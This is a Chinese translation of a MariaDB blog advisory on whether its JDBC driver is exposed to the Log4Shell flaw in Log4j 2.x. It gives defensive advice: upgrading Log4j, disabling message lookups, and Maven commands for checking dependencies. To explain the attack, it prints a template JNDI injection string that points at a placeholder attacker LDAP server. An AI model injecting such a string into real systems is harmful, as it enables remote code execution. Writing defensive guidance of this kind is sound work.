原文地址:https://mariadb.com/resources/blog/is-the-mariadb-jdbc-driver-affected-by-the-log4j-vulnerability/
原文作者:alejandro duarte
是否受 log4j 最近发现的安全漏洞影响?默认情况下,java 连接器不使用 log4j。但是,如果您已经将其配置为使用 ,请继续阅读。
有关 mariadb jdbc 驱动程序范围之外的信息,请阅读 。
注:本博客更新于2021-12-15,包括关于 的细节。
log4j 脆弱性
apache log4j 是一个流行的用于java应用程序的开源日志框架。它被用于各种开源和企业项目,包括云供应商和电子邮件服务提供商。2021年12月9日,在log4j中发现了一个可以导致远程代码执行的0天漏洞,允许黑客在系统中执行任意代码。该漏洞被称为“log4shell”,被跟踪为 。
简而言之,该漏洞允许攻击者注入 jndi 查找字符串,并且调用它,例如,远程 ldap 服务器(被攻击者控制),后者返回一个恶意的java类:
${jndi:ldap://[attacker_site]/[malicious_java_class]}
如果 log4j 记录了这样的字符串,恶意 java 类就可以运行任意代码 (例如,通过静态代码块)。
版本影响
幸运的是,只有 log4j 2.x 版本,2.15.0之前版本受到影响。有关更多信息,请参阅 页面。该漏洞在 log4j 1.x 版本中不存在。
如何减轻 cve-2021-44228
减轻该漏洞的最佳策略是更新项目中的 log4j 依赖项。版本 2.16.0 中已经移除消息查找,并。感谢团队的快速发布。
更新:log4j 2.16.0 还修复了跟踪的第二个漏洞 。
mariadb jdbc 驱动程序没有使用log4j 2.x。但是,它支持 slf4j。检查你是否使用了绑定 log4j 的 slf4j。如果是,升级相应地 log4j 或设置以下配置变量:
-dlog4j2.formatmsgnolookups=true
或者,设定下面的环境变量:
log4j_format_msg_no_lookups=true
注意:日志记录仅在由 log
显式设置时启用。除了 log4j,你也可以选择其他的 slf4j 绑定,比如 jakarta commons logging, logback,或者 java logging api。
如果你正在使用 maven,你可以运行以下命令来确定你的项目是否依赖于 log4j:
mvn dependency:tree -dincludes=org.apache.logging.log4j:log4j-core
下面这个例子是你在一个脆弱项目中可能得到的输出:
如果由于某些原因你的项目不能编译,你也可以运行:
mvn help:effective-pom
搜索 log4j-core
依赖项并检查使用的版本。
更多信息
博客链接列表: